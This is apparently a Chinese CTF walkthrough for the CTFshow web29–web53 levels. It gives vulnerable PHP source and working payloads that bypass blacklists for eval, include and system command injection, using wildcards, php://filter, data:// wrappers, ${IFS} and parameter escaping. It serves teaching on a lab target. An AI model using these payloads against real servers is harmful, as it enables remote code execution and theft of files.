web29

源码为:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看到过滤了flag字样

但我们可以通过通配符绕过flag,比如用fla?来表示flag

先用?c=system('ls');来观察该目录下存在的文件,发现了flag.php

在这里插入图片描述

然后使用?c=system('cp fla?.php 1.txt');flag.php的内容配对到1.txt

然后访问1.txt即可得到flag

在这里插入图片描述


web30

打开页面查看源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

发现新过滤了system以及php这两个关键字

我们此时可以通过反引号```来代替system,继续利用通配符?来配对php字样

则payload

?c=`cp fla?.??? 1.txt`;

然后再访问1.txt即可

在这里插入图片描述


web31

打开页面查看源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

发现新过滤了cat,sort,shell,小数点,空格,单引号等字样

我们可以通过eval嵌套执行get的第一个参数

payload:

?c=eval($_GET[1]);&1=system('cat flag.php');

这里payload使得1这个参数逃逸出来了,它不属于c,那么这些ban掉的字符对于1来说是无效的,对1来说没有什么过滤的地方了我们直接cat flag.php即可

在这里插入图片描述

这里有一点就是执行之后页面是空白的,只有查看源代码才能发现flag

还有一种就是倒穴:将cat反过来就是tac,也就是反过来读,不用查看源代码即可读

payload:

?c=eval($_GET[1]);&1=system('tac flag.php');

在这里插入图片描述

这一题我们将c参数进行了一个跳板,让它执行另一个参数的值,那么另一个参数1,脱离了对这个c的正则判断,我们就可以执行任意被ban掉的字符


web32-web36

web32

打开页面,查看代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

发现新ban掉了反引号,echo, 分号,左括号这些字符

空格被ban掉的话我们可以通过include加上回车(%0a)将1逃逸出来,并且php最后一条语句是可以用?>来代替;

payload:

?c=include%0a$_GET[1]?>&1=flag.php

但我们这样直接访问是没有输出flag的值的,虽然已经包含成功,但是由于没有分号分割,造成无法输出

这样的话,我们可以通过文件包含来做

在hackbar中有一个文件包含的插件:

在这里插入图片描述

payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

因为这里1已经逃逸出来了,后面那一串就基本没有什么过滤了,这样访问flag.php可获得base64编码后的值

在这里插入图片描述

放入base64解码即可的到flag

在这里插入图片描述

这一题做法使用了文件包含的方法,来变相的读取任意文件

php://filter是一个比过滤器,这里通过base64编码的一个过滤器来读取flag.php

这种过滤器也就是一种伪协议,通过一个指定的通道来读取某个文件或资源,filter/表示的是指定的通道,base64-encode表示这个通道的名字是base64

整体来说就是:我读到的资源先通过base64进行编码

想知道具体原理的可以看看这篇博客[【ctf】文件包含漏洞][9]

web33-35

过滤的字符没啥区别,payload和web33一样,执行即可拿到flag,具体原理请看web32

payload: ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

打开页面发现过滤了数字,那我们将之前payload的1改成a即可

payload: ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37-web39

web37

页面代码如下:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

与之前不同的是这里包含了一个c:include($c);

这题我们可以通过data伪协议读取

payload: ?c=data://text/plain,<?php system('tac fla?.php');?>
这个data协议是将后面的字符串当作php代码来执行,自然就通过执行system('tac fla?.php')成功的获取到了flag

data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

web38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

打开这题发现php被过滤了,但这题php代码这里可以使用php短标签进行绕过,flag.php这可继续用通配符?绕过

payload:?c=data://text/plain,<?=system('tac fla?.???')?>

说明:‘<?=’是PHP的一个短的开放式标签,是echo的开放式用法。

web39

打开页面查看代码如下:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

在这不同的是include($c);后面加了个.php

但在这我们可以使用上次的payload:

?c=data://text/plain,<?=system('tac fla?.php')?>

因为这里我们的php代码已经闭合,.php就起不到执行的效果,只能被当作字符串输出

web40

打开页面查看代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


​ if(isset($_GET[‘c’])){
​ $c = $_GET[‘c’];
​ if(!preg_match(“/[0-9]|~|`|@|#|\$|%|^|&|*|\(|\)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i”, $c)){
​ eval($c);
​ }

​ }else{
​ highlight_file(FILE);
​ }

发现基本所有符号都被过滤了

大概只剩下了分号,下划线,以及英文括号(观察很久才发现题目过滤的是中文括号)

先说一个打印当初路径下文件的函数:print_r(scandir('.'))

但是很明显单引号和小数点已经过滤了,这里要先办法绕过

最简单的方法是利用函数传参,那就找当前能用包含小数点的函数

还真有:localeconv() 返回一包含本地数字及货币格式信息的数组

在这里插入图片描述

那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))

但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,

  • pos() 同 current() ,是current()的别名

  • reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

这里三个函数都可以用

因此打印当前目录:?c=print_r(scandir(pos(localeconv())));

在这里插入图片描述

从此目录发现了flag.php

这里可以的用next()

输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)

但是flag在第三个怎么办?可以用array_reverse函数

这个函数就是将数组转置;

所以payload:?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

可以到达flag.php这个目录,接下来我们查看他的代码即可得到flag

最终payload: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

得到flag

web40另一种思路:

首先我们试着打印当前所有的变量,看看从变量里面能拿到什么东西

payload:?c=print_r(get_defined_vars());

在这里插入图片描述

发现了post变量的一个数组

那么我们可以给他post一个值:1=phpinfo();

在这里插入图片描述

发现成功将该字符串post了进去,那么我们该如何拿到这个字符串的值呢?

我们可以用一个对数组的操作:next(next在web40前一种思路中提到过原理)

payload:?c=print_r(next(get_defined_vars()));

可以看到我们拿到了这一个数组

在这里插入图片描述

我们想要拿到他的一个数组值,则对这个数组进行一个弹出:array_pop()

在这里插入图片描述

然后再将该语句进行执行即可,将print_r改成eval函数执行

payload:?c=eval(array_pop(next(get_defined_vars())));

在这里插入图片描述

这样我们就成功执行了

那么拿flag也是这种思路
我们进行payload:
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST: 1=system('tac flag.php');

因为在post端没有什么过滤,接着我们连接flag.php即可得到flag

在这里插入图片描述

web41

1
2
3
4
5
6
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}

利用函数:echo

绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。

Payload1: 脚本参考yu师傅

web42

1
2
3
4
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}

利用函数:system()

绕过思路:这里是通过>/dev/null 2>&1把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag.

Payload1: ls;

Payload2: tac flag.php;

web43

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}

和上一题类似,看到这里分号被过滤可以通过命令分隔符进行截断:|| &&这两个可以进行截断,但需要注意的是&&需要进行url编码,这样才能成功执行

payload:tac flag.php||or tac flag.php%26%26

web44

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}

新过滤了flag字符,利用通配符绕过即可

payload:tac fla?.php||

web45

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}

多过滤了空格符号,利用%09代替空格即可

payload:tac%09fla?.php||

web46

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}

多过滤了数字,但对我们上一题的payload没有什么影响,可以继续使用%09代替空格,因为%09是编码,浏览器对他自动解码为一个水平制表符,而不是为数字,所以这里可以沿用上一题的payload

payload:tac%09fla?.php||

web47

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}

新过滤的东西对上一题payload没什么影响,继续沿用

payload:tac%09fla?.php||

web48

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}

继续沿用上一题的payload:tac%09fla?.php||

web49

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}

继续沿用上一题的payload:tac%09fla?.php||

web50

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

%09被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠\来绕过过滤的flag

payload:tac<>fla\g.php||

web51

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

新增tac被过滤了,使用反斜杠\绕过,或者利用nl替代tac

nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。

payload:ta\c<>fla\g.php|| or nl<>fla\g.php||

web52

重定向符被过滤,使用${IFS}代替空格,多种绕过方式详见:CTF命令执行与绕过

构造:ta\c${IFS}fla\g.php||

回显页面:

image-20211029230309571

payload:ta\c${IFS}../../../fla\g||获取flag

web53

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}

/dev/null 2>&1已经没了,那就不需要||进行截断

payload:ta\c${IFS}fla\g.php

web54